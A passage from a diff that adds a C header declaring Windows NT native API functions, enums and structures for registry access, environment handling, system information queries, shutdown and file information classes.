PRTL_GENERIC_TABLE Table, + IN PVOID *RestartKey + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtClose( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwClose( + IN HANDLE Handle + ); + +//----------------------------------------------------------------------------- +// Environment functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlOpenCurrentUser( + IN ULONG DesiredAccess, + OUT PHANDLE CurrentUserKey + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironment( + BOOLEAN CloneCurrentEnvironment, + PVOID *Environment + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U ( + PVOID Environment, + PUNICODE_STRING Name, + PUNICODE_STRING Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + PVOID *Environment, + PUNICODE_STRING Name, + PUNICODE_STRING Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyEnvironment( + PVOID Environment + ); + +//----------------------------------------------------------------------------- +// Registry functions + + +typedef enum _KEY_INFORMATION_CLASS +{ + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass // MaxKeyInfoClass should always be the last enum + +} KEY_INFORMATION_CLASS; + +// +// Key query structures +// + +typedef struct _KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + + +typedef struct _KEY_NODE_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG NameLength; + WCHAR Name[1]; // Variable length string +// Class[1]; // Variable length string not declared +} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION; + + +typedef struct _KEY_FULL_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; // Variable length + +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; + + +// end_wdm +typedef struct _KEY_NAME_INFORMATION +{ + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION; + +typedef struct _KEY_CACHED_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION; + + +typedef struct _KEY_FLAGS_INFORMATION +{ + ULONG UserFlags; + +} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION; + + + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass // MaxKeyValueInfoClass should always be the last enum +} KEY_VALUE_INFORMATION_CLASS; + + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size +// Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG TitleIndex, + IN PUNICODE_STRING Class OPTIONAL, + IN ULONG CreateOptions, + OUT PULONG Disposition OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + IN PVOID KeyInformation, + IN ULONG Length, + IN PULONG ResultLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteKey( + IN HANDLE KeyHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN ULONG TitleIndex OPTIONAL, + IN ULONG Type, + IN PVOID Data, + IN ULONG DataSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + +//----------------------------------------------------------------------------- +// RtlQueryRegistryValues + +// +// The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE +// entry is interpreted. A NULL name indicates the end of the table. +// + +#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 // Name is a subkey and remainder of + // table or until next subkey are value + // names for that subkey to look at. + +#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 // Reset current key to original key for + // this and all following table entries. + +#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 // Fail if no match found for this table + // entry. + +#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 // Used to mark a table entry that has no + // value name, just wants a call out, not + // an enumeration of all values. + +#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 // Used to suppress the expansion of + // REG_MULTI_SZ into multiple callouts or + // to prevent the expansion of environment + // variable values in REG_EXPAND_SZ + +#define RTL_QUERY_REGISTRY_DIRECT 0x00000020 // QueryRoutine field ignored. EntryContext + // field points to location to store value. + // For null terminated strings, EntryContext + // points to UNICODE_STRING structure that + // that describes maximum size of buffer. + // If .Buffer field is NULL then a buffer is + // allocated. + // + +#define RTL_QUERY_REGISTRY_DELETE 0x00000040 // Used to delete value keys after they + // are queried. + + +// +// The following values for the RelativeTo parameter determine what the +// Path parameter to RtlQueryRegistryValues is relative to. +// + +#define RTL_REGISTRY_ABSOLUTE 0 // Path is a full path +#define RTL_REGISTRY_SERVICES 1 // \Registry\Machine\System\CurrentControlSet\Services +#define RTL_REGISTRY_CONTROL 2 // \Registry\Machine\System\CurrentControlSet\Control +#define RTL_REGISTRY_WINDOWS_NT 3 // \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion +#define RTL_REGISTRY_DEVICEMAP 4 // \Registry\Machine\Hardware\DeviceMap +#define RTL_REGISTRY_USER 5 // \Registry\User\CurrentUser +#define RTL_REGISTRY_MAXIMUM 6 +#define RTL_REGISTRY_HANDLE 0x40000000 // Low order bits are registry handle +#define RTL_REGISTRY_OPTIONAL 0x80000000 // Indicates the key node is optional + + +typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( + IN PWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength, + IN PVOID Context, + IN PVOID EntryContext + ); + +typedef struct _RTL_QUERY_REGISTRY_TABLE +{ + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; + +} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; + + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryRegistryValues( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PRTL_QUERY_REGISTRY_TABLE QueryTable, + IN PVOID Context, + IN PVOID Environment OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Query system information + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, // 0x00 SYSTEM_BASIC_INFORMATION + SystemProcessorInformation, // 0x01 SYSTEM_PROCESSOR_INFORMATION + SystemPerformanceInformation, // 0x02 + SystemTimeOfDayInformation, // 0x03 + SystemPathInformation, // 0x04 + SystemProcessInformation, // 0x05 + SystemCallCountInformation, // 0x06 + SystemDeviceInformation, // 0x07 + SystemProcessorPerformanceInformation, // 0x08 + SystemFlagsInformation, // 0x09 + SystemCallTimeInformation, // 0x0A + SystemModuleInformation, // 0x0B SYSTEM_MODULE_INFORMATION + SystemLocksInformation, // 0x0C + SystemStackTraceInformation, // 0x0D + SystemPagedPoolInformation, // 0x0E + SystemNonPagedPoolInformation, // 0x0F + SystemHandleInformation, // 0x10 + SystemObjectInformation, // 0x11 + SystemPageFileInformation, // 0x12 + SystemVdmInstemulInformation, // 0x13 + SystemVdmBopInformation, // 0x14 + SystemFileCacheInformation, // 0x15 + SystemPoolTagInformation, // 0x16 + SystemInterruptInformation, // 0x17 + SystemDpcBehaviorInformation, // 0x18 + SystemFullMemoryInformation, // 0x19 + SystemLoadGdiDriverInformation, // 0x1A + SystemUnloadGdiDriverInformation, // 0x1B + SystemTimeAdjustmentInformation, // 0x1C + SystemSummaryMemoryInformation, // 0x1D + SystemNextEventIdInformation, // 0x1E + SystemEventIdsInformation, // 0x1F + SystemCrashDumpInformation, // 0x20 + SystemExceptionInformation, // 0x21 + SystemCrashDumpStateInformation, // 0x22 + SystemKernelDebuggerInformation, // 0x23 + SystemContextSwitchInformation, // 0x24 + SystemRegistryQuotaInformation, // 0x25 + SystemExtendServiceTableInformation, // 0x26 + SystemPrioritySeperation, // 0x27 + SystemPlugPlayBusInformation, // 0x28 + SystemDockInformation, // 0x29 + //SystemPowerInformation, // 0x2A + //SystemProcessorSpeedInformation, // 0x2B + //SystemCurrentTimeZoneInformation, // 0x2C + //SystemLookasideInformation // 0x2D + +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +// +// Thread priority +// + +typedef LONG KPRIORITY; + +// +// Basic System information +// NtQuerySystemInformation with SystemBasicInformation +// + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + ULONG NumberOfPhysicalPages; + ULONG LowestPhysicalPageNumber; + ULONG HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG MinimumUserModeAddress; + ULONG MaximumUserModeAddress; + KAFFINITY ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +// +// Processor information +// NtQuerySystemInformation with SystemProcessorInformation +// + +typedef struct _SYSTEM_PROCESSOR_INFORMATION { + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT Reserved; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; + +// +// Performance information +// NtQuerySystemInformation with SystemPerformanceInformation +// + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + ULONG CommittedPages; + ULONG CommitLimit; + ULONG PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG Spare3Count; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; +} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + +// +// Time of Day information +// NtQuerySystemInformation with SystemTimeOfDayInformation +// + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +// +// Process information +// NtQuerySystemInformation with SystemProcessInformation +// + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; + ULONG HandleCount; + // Next part is platform dependent + +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +// +// Device information +// NtQuerySystemInformation with SystemDeviceInformation +// + +typedef struct _SYSTEM_DEVICE_INFORMATION { + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; + +// +// Processor performance information +// NtQuerySystemInformation with SystemProcessorPerformanceInformation +// + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; // DEVL only + LARGE_INTEGER InterruptTime; // DEVL only + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +// +// NT Global Flag information +// NtQuerySystemInformation with SystemFlagsInformation +// + +typedef struct _SYSTEM_FLAGS_INFORMATION +{ + ULONG GlobalFlag; + +} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; + +// +// System Module information +// NtQuerySystemInformation with SystemModuleInformation +// + +typedef struct _SYSTEM_MODULE +{ + ULONG Reserved1; // Should be 0xBAADF00D + ULONG Reserved2; // Should be zero + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT Unknown; + USHORT LoadCount; + USHORT ModuleNameOffset; + CHAR ImageName[256]; + +} SYSTEM_MODULE, *PSYSTEM_MODULE; + + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG ModulesCount; + SYSTEM_MODULE Modules[1]; + +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +/* +typedef struct _SYSTEM_VDM_INSTEMUL_INFO { + ULONG SegmentNotPresent ; + ULONG VdmOpcode0F ; + ULONG OpcodeESPrefix ; + ULONG OpcodeCSPrefix ; + ULONG OpcodeSSPrefix ; + ULONG OpcodeDSPrefix ; + ULONG OpcodeFSPrefix ; + ULONG OpcodeGSPrefix ; + ULONG OpcodeOPER32Prefix; + ULONG OpcodeADDR32Prefix; + ULONG OpcodeINSB ; + ULONG OpcodeINSW ; + ULONG OpcodeOUTSB ; + ULONG OpcodeOUTSW ; + ULONG OpcodePUSHF ; + ULONG OpcodePOPF ; + ULONG OpcodeINTnn ; + ULONG OpcodeINTO ; + ULONG OpcodeIRET ; + ULONG OpcodeINBimm ; + ULONG OpcodeINWimm ; + ULONG OpcodeOUTBimm ; + ULONG OpcodeOUTWimm ; + ULONG OpcodeINB ; + ULONG OpcodeINW ; + ULONG OpcodeOUTB ; + ULONG OpcodeOUTW ; + ULONG OpcodeLOCKPrefix ; + ULONG OpcodeREPNEPrefix ; + ULONG OpcodeREPPrefix ; + ULONG OpcodeHLT ; + ULONG OpcodeCLI ; + ULONG OpcodeSTI ; + ULONG BopCount ; +} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; + + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; + + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitches; + ULONG ThreadState; + ULONG WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_MEMORY_INFO { + PUCHAR StringOffset; + USHORT ValidCount; + USHORT TransitionCount; + USHORT ModifiedCount; + USHORT PageTableCount; +} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; + +typedef struct _SYSTEM_MEMORY_INFORMATION { + ULONG InfoSize; + ULONG StringStart; + SYSTEM_MEMORY_INFO Memory[1]; +} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION { + ULONG Length; + ULONG NumberOfTables; + //ULONG NumberOfEntries[NumberOfTables]; + //ULONG CallCounts[NumberOfTables][NumberOfEntries]; +} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_CRASH_DUMP_INFORMATION { + HANDLE CrashDumpSection; +} SYSTEM_CRASH_DUMP_INFORMATION, *PSYSTEM_CRASH_DUMP_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION { + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + +typedef struct _SYSTEM_CRASH_STATE_INFORMATION { + ULONG ValidCrashDump; +} SYSTEM_CRASH_STATE_INFORMATION, *PSYSTEM_CRASH_STATE_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + ULONG PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_GDI_DRIVER_INFORMATION { + UNICODE_STRING DriverName; + PVOID ImageAddress; + PVOID SectionPointer; + PVOID EntryPoint; + PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; +} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; +*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySystemInformation( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength + ); + +//------------------------------------------------------------------------------ +// Shutdown system + +typedef enum _SHUTDOWN_ACTION +{ + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff + +} SHUTDOWN_ACTION, *PSHUTDOWN_ACTION; + + +NTSYSAPI +NTSTATUS +NTAPI +NtShutdownSystem( + IN SHUTDOWN_ACTION Action + ); + +//----------------------------------------------------------------------------- +// File functions + +#ifndef OLD_DOS_VOLID +#define OLD_DOS_VOLID 0x00000008 +#endif + +#ifndef FILE_SUPERSEDE +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 +#endif // File create flags + + +// Define the create/open option flags +#ifndef FILE_DIRECTORY_FILE +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 +#endif // FILE_DIRECTORY_FILE + + +// +// Define the I/O status information return values for NtCreateFile/NtOpenFile +// + +#ifndef FILE_SUPERSEDED +#define FILE_SUPERSEDED 0x00000000 +#define FILE_OPENED 0x00000001 +#define FILE_CREATED 0x00000002 +#define FILE_OVERWRITTEN 0x00000003 +#define FILE_EXISTS 0x00000004 +#define FILE_DOES_NOT_EXIST 0x00000005 +#endif + + +#ifndef PIO_APC_ROUTINE_DEFINED +typedef +VOID +(NTAPI *PIO_APC_ROUTINE) ( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); +#define PIO_APC_ROUTINE_DEFINED +#endif // PIO_APC_ROUTINE_DEFINED + + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, // 2 + FileBothDirectoryInformation, // 3 + FileBasicInformation, // 4 wdm + FileStandardInformation, // 5 wdm + FileInternalInformation, // 6 + FileEaInformation, // 7 + FileAccessInformation, // 8 + FileNameInformation, // 9 + FileRenameInformation, // 10 + FileLinkInformation, // 11 + FileNamesInformation, // 12 + FileDispositionInformation, // 13 + FilePositionInformation, // 14 wdm + FileFullEaInformation, // 15 + FileModeInformation, // 16 + FileAlignmentInformation, // 17 + FileAllInformation, // 18 + FileAllocationInformation, // 19 + FileEndOfFileInformation, // 20 wdm + FileAlternateNameInformation, // 21 + FileStreamInformation, // 22 + FilePipeInformation, // 23 + FilePipeLocalInformation, // 24 + FilePipeRemoteInformation, // 25 + FileMailslotQueryInformation, // 26 + FileMailslotSetInformation, // 27 + FileCompressionInformation, // 28 + FileObjectIdInformation, // 29 + FileCompletionInformation, // 30 + FileMoveClusterInformation, // 31 + FileQuotaInformation, // 32 + FileReparsePointInformation, // 33 + FileNetworkOpenInformation, // 34 + FileAttributeTagInformation, // 35 + FileTrackingInformation, // 36 + FileIdBothDirectoryInformation, // 37 + FileIdFullDirectoryInformation, // 38 + FileValidDataLengthInformation, // 39 + FileShortNameInformation, // 40 + FileIoCompletionNotificationInformation, // 41 + FileIoStatusBlockRangeInformation, // 42 + FileIoPriorityHintInformation, // 43 + FileSfioReserveInformation, // 44 + FileSfioVolumeInformation, // 45 + FileHardLinkInformation, // 46 + FileProcessIdsUsingFileInformation, // 47 + FileMaximumInformation // 48 +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + + +typedef struct _FILE_STANDARD_INFORMATION { + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; + + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + + +typedef struct _FILE_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; + + +typedef struct _FILE_POSITION_INFORMATION { + 